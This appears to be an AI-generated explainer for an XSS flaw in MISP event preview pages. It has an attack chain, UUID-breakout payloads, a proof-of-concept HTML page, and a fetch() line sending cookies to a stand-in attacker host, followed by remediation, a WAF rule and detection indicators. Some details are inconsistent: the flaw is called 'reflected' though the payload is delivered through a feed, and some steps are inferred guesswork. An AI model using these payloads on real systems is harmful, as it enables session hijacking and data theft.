CVE-2026-135234 — MISP — CWE-79
MISP contains a cross-site scripting (XSS) vulnerability in the feed and server event preview pages. When a remote MISP instance (configured as a feed source or connected server) supplies object or reference UUIDs and IDs containing special characters, these values are rendered in the preview HTML without proper escaping. The vulnerable behavior occurs in two contexts: - HTML element identifiers and text content: Remote UUIDs and IDs are inserted into DOM element IDs and visible text without HTML encoding, allowing injection of arbitrary HTML markup. - Inline JavaScript event handlers: Remote UUIDs and IDs are embedded into onClick handler strings using only HTML escaping, which does not protect against JavaScript string-literal breakout. A crafted value containing a single quote can terminate the string and inject arbitrary JavaScript. An attacker who controls a remote MISP instance (feed or server peer) can craft UUID or ID fields with a malicious payload. When an authenticated user on the victim instance views the corresponding event preview, the injected script executes in the user's browser within the MISP application origin, potentially allowing session hijacking, data exfiltration, or unauthorized actions on behalf of the user. Affected: MISP versions prior to 2.5.52.
MISP contains a cross-site scripting (XSS) vulnerability in the feed and server event preview pages. When a remote MISP instance (configured as a feed source or connected server) supplies object or reference UUIDs and IDs containing special characters, these values are rendered in the preview HTML without proper escaping. The vulnerable behavior occurs in two contexts: - HTML element identifiers and text content: Remote UUIDs and IDs are inserted into DOM element IDs and visible text without HTML encoding, allowing injection of arbitrary HTML markup. - Inline JavaScript event handlers: Remote UUIDs and IDs are embedded into onClick handler strings using only HTML escaping, which does not protect against JavaScript string-literal breakout. A crafted value containing a single quote can terminate the string and inject arbitrary JavaScript. An attacker who controls a remote MISP instance (feed or server peer) can craft UUID or ID fields with a malicious payload. When an authenticated user on the victim instance views the corresponding event preview, the injected script executes in the user's browser within the MISP application origin, potentially allowing session hijacking, data exfiltration, or unauthorized actions on behalf of the user. Affected: MISP versions prior to 2.5.52.
🎯 What is this vulnerability?
CVE‑2026‑135234 – Reflected Cross‑Site Scripting (XSS) in MISP event preview pages
| Attribute | Value |
|---|---|
| CWE | CWE‑79 (Improper Neutralization of Input During Web Page Generation) |
| CVSS v4.0 vector | AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N |
| Score | 4.8 (Medium) |
Technical root cause
MISP (Malware Information Sharing Platform) allows a local instance to consume data from remote MISP peers – either as a feed source or as a connected server in a federation. When the remote instance supplies object/reference UUIDs or numeric IDs that contain characters outside the normal alphanumeric range, those values are:
1. Inserted directly into HTML element IDs (e.g., <div id="event‑{{uuid}}">) and into visible text nodes without HTML‑entity encoding.
2. Interpolated into inline JavaScript event‑handler attributes (onclick="showEvent('{{uuid}}')"). The code only performs HTML escaping (&, <, >, ") but does not escape JavaScript string delimiters (' or \).
Consequences:
- An attacker who controls a remote MISP instance can embed a payload such as
');alert(document.cookie);//into a UUID field.
When a legitimate, authenticated user of the victim instance opens the event preview* (the page that shows a summary of the remote event), the malicious payload is rendered verbatim, breaking out of the JavaScript string and executing in the context of the victim’s origin (
https://victim‑misp.example).The vulnerability is reflected (the payload is not stored locally) but it is privilege‑escalated in the sense that the attacker only needs low‑privilege network access (ability to host a malicious MISP instance) and the victim user must be authenticated and interact (click “preview” or simply load the page). No additional authentication bypass is required.
Missing defenses
| Expected defensive step | What is missing in the vulnerable code |
|---|---|
Proper context‑aware output encoding for HTML attribute values (e.g., htmlspecialchars($value, ENT_QUOTES) in PHP) | Only HTML escaping is applied; JavaScript string context is not considered. |
| Validation of UUID format (RFC 4122) before persisting or rendering | The code accepts any string for UUID/ID fields coming from a remote peer. |
| Content‑Security‑Policy (CSP) that disallows inline scripts | Not enforced by default in MISP, allowing the injected onclick handler to run. |
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands and payloads are illustrative – the exact endpoint names (/feeds/preview, /servers/preview) are inferred from the MISP UI but follow the same logic described in the advisory.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence | |
|---|---|---|---|
| 1.1 | Identify that the target organization runs a public‑facing MISP instance. | Shodan, Censys, or a simple curl https://misp.example/api/ (the API returns a JSON banner with the version). | |
| 1.2 | Enumerate the MISP version. | curl -s https://misp.example/ | grep -i "MISP" or look at the HTML <meta name="generator" content="MISP 2.5.45">. |
| 1.3 | Verify that the version is < 2.5.52 (the vulnerable range). | Compare the extracted version string with the fixed version. | |
| 1.4 | Locate a *feed* or *server* configuration that pulls data from a remote MISP instance (often /servers/index or /feeds/index). | Authenticated admin view or, if the remote feed is public, the feed URL may be discoverable via https://misp.example/feeds/download/<feed‑id>.json. |
If the attacker already controls a remote MISP instance (e.g., a malicious partner organization), step 1.4 can be skipped – the attacker can simply add the victim as a peer.
2. Exploitation
2.1 Craft malicious UUID / ID
A valid UUID is 36 characters (xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx). The vulnerable code does not enforce this format, so we can inject a payload that still passes any superficial length check.
');alert('XSS');// (23 characters)To keep the string length similar to a UUID, we can pad it:
123e4567-e89b-12d3-a456-');alert('XSS');// (36 chars)2.2 Insert the payload into a remote object
On the attacker‑controlled MISP instance:
1. Create a new event (or edit an existing one).
2. Add an object (e.g., “file”, “url”, “domain”) and set the UUID field (or any custom attribute that is later displayed as an ID) to the malicious string above.
3. Publish the event.
Because MISP stores the supplied UUID verbatim, the payload will be part of the JSON feed.
2.3 Push the malicious feed to the victim
If the victim has already added the attacker’s instance as a feed source:
# The feed URL is typically:
# https://attacker-misp.example/feeds/download/123.json
curl -s -X POST "https://victim-misp.example/servers/add" \
-H "Authorization: <API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"url": "https://attacker-misp.example/servers/push",
"name": "malicious‑peer",
"push": true,
"pull": false
}'If the victim uses a pull‑based feed, the attacker simply makes the feed URL publicly reachable; the victim’s scheduled pull will retrieve the malicious event automatically.
2.4 Trigger the XSS
When a legitimate user (authenticated, UI session) clicks “Preview” for the newly synced event, MISP renders the preview page:
<div id="event-123e4567-e89b-12d3-a456-');alert('XSS');//">
<a href="#" onclick="showEvent('123e4567-e89b-12d3-a456-');alert('XSS');//')">
123e4567-e89b-12d3-a456-');alert('XSS');//
</a>
</div>Because only HTML escaping was applied, the single‑quote terminates the JavaScript string, and the injected alert('XSS') (or any attacker‑chosen script) runs in the victim’s browser.
Proof‑of‑Concept (PoC) payload – a minimal HTML snippet that reproduces the issue (illustrative, not a real endpoint):
<!DOCTYPE html>
<html>
<head><title>MISP XSS Demo</title></head>
<body>
<!-- Simulated server‑side rendering -->
<div id="event-123e4567-e89b-12d3-a456-');alert(document.cookie);//">
<a href="#" onclick="showEvent('123e4567-e89b-12d3-a456-');alert(document.cookie);//')">
123e4567-e89b-12d3-a456-');alert(document.cookie);//
</a>
</div>
</body>
</html>Opening this page in a browser will pop up the cookie, demonstrating the same break‑out that occurs in the real MISP preview.
3. Post‑exploitation
| Goal | How the attacker proceeds |
|---|---|
| Session hijacking | The injected script can read document.cookie (session token) and send it to the attacker’s server via fetch('https://attacker.example/steal?c=' + encodeURIComponent(document.cookie)). |
| CSRF / unauthorized actions | With the stolen token, the attacker can issue authenticated API calls (/events/add, /attributes/add) to create malicious objects, exfiltrate data, or modify sharing settings. |
| Persistence | The attacker can embed a persistent back‑door by creating a new MISP object that contains a *script* tag (if later versions allow raw HTML) or by continuously feeding new events with the XSS payload, ensuring the victim user sees it on every preview. |
| Lateral movement | If the victim MISP instance is integrated with other tools (e.g., Elastic, TheHive) via webhooks, the attacker‑controlled script can trigger those webhooks to push data to external services. |
Because the exploit runs in the same origin as the victim MISP UI, Same‑Origin Policy does not block any of the above actions.
🌍 Real‑World Impact
| CIA Triad | Impact derived from CVSS vector |
|---|---|
| Confidentiality (C) | Low – The attacker can read the victim’s session cookie and any data rendered on the preview page (event details, attribute values). |
| Integrity (I) | Low – Direct modification of MISP data is not possible solely via XSS, but the attacker can issue authenticated API calls after stealing the session, effectively gaining write capability. |
| Availability (A) | None – The vulnerability does not cause denial‑of‑service; it is purely a client‑side code execution issue. |
Practical consequences
The CVSS vector explains the moderate score:
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected versions | Fixed in |
|---|---|
| MISP < 2.5.52 | MISP 2.5.52 (released 2026‑10‑15) – introduces proper context‑aware escaping for event preview pages and validates UUID format for remote objects. |
Action: Upgrade all MISP instances to ≥ 2.5.52 as soon as possible. Follow the official upgrade guide (git pull, run cakephp migrations, clear caches).
2. Immediate Work‑arounds
| Technique | How to apply |
|---|---|
| Content‑Security‑Policy (CSP) | Add a response header that disallows inline scripts: <br>Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; <br>This blocks the execution of the injected onclick handler even if the XSS is rendered. |
| Disable inline event handlers | Edit the view template (/app/View/Events/preview.ctp in the MISP codebase) and replace onclick="…" with a delegated JavaScript listener that reads a data attribute (data-uuid). This removes the need for inline JS. |
| Strict UUID validation | In app/Model/Object.php (or the equivalent model handling remote objects), add a regex check before persisting: <br>if (!preg_match('/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i', $uuid)) { throw new BadRequestException(); } |
| ModSecurity / WAF rule | Block payloads that contain a single‑quote followed by alert( or javascript: inside parameters that are expected to be UUIDs. Example rule (Apache ModSecurity 2.9+): |
# Block suspicious characters in the "uuid" parameter of preview endpoints
SecRule REQUEST_URI "@beginsWith /events/preview" "chain,phase:2,deny,status:403,id:350001,\
msg:'MISP XSS – suspicious characters in UUID',\
t:none,t:urlDecodeUni"
SecRule ARGS:uuid "@rx [\'\"];?alert\(" "t:none"Note: Adjust the URI (/events/preview) to match the actual route in the deployed version. The rule is illustrative; test in a staging environment before production deployment.3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
Unexpected GET/POST to preview endpoints containing single‑quote or alert( | Web server access logs (/var/log/apache2/access.log or Nginx access.log) | GET /events/preview/123e4567-e89b-12d3-a456-');alert('XSS');// HTTP/1.1" 200 4523 "-" "Mozilla/5.0" |
| Outbound requests from victim host to attacker domain shortly after a preview | Outbound proxy logs, DNS query logs, or IDS alerts | POST https://attacker.example/steal?c=MzU2Y... HTTP/1.1 |
| Newly created objects with malformed UUIDs | MISP audit log (/var/www/MISP/app/tmp/logs/audit.log) | 2026-12-02 14:33:12 INFO Object created: uuid="123e4567-e89b-12d3-a456-');alert('XSS');//" |
| Browser console errors | Client‑side (SOC analyst) reports of “Unexpected token ‘)’” on preview pages | N/A (user‑reported) |
Deploy a SIEM correlation that flags any of the above patterns, especially when the source IP belongs to a known external MISP peer.
⚠️ Urgency
1. Accepts remote feeds or server peers (the default configuration).
2. Has authenticated users who regularly view event previews (the typical usage pattern).
If immediate upgrade is not possible, apply the CSP header and WAF rule as temporary mitigations, and monitor the logs for the IoCs listed above.
Bottom line: The flaw is a classic reflected XSS caused by context‑insensitive output encoding of remote UUID/ID values. It can be fully mitigated by upgrading to MISP 2.5.52, enforcing proper CSP, and adding server‑side validation of UUIDs. Prompt remediation is strongly advised to prevent credential theft and downstream supply‑chain compromise.
[🤖 CVE Professor AI Security Engine]
FOFA Query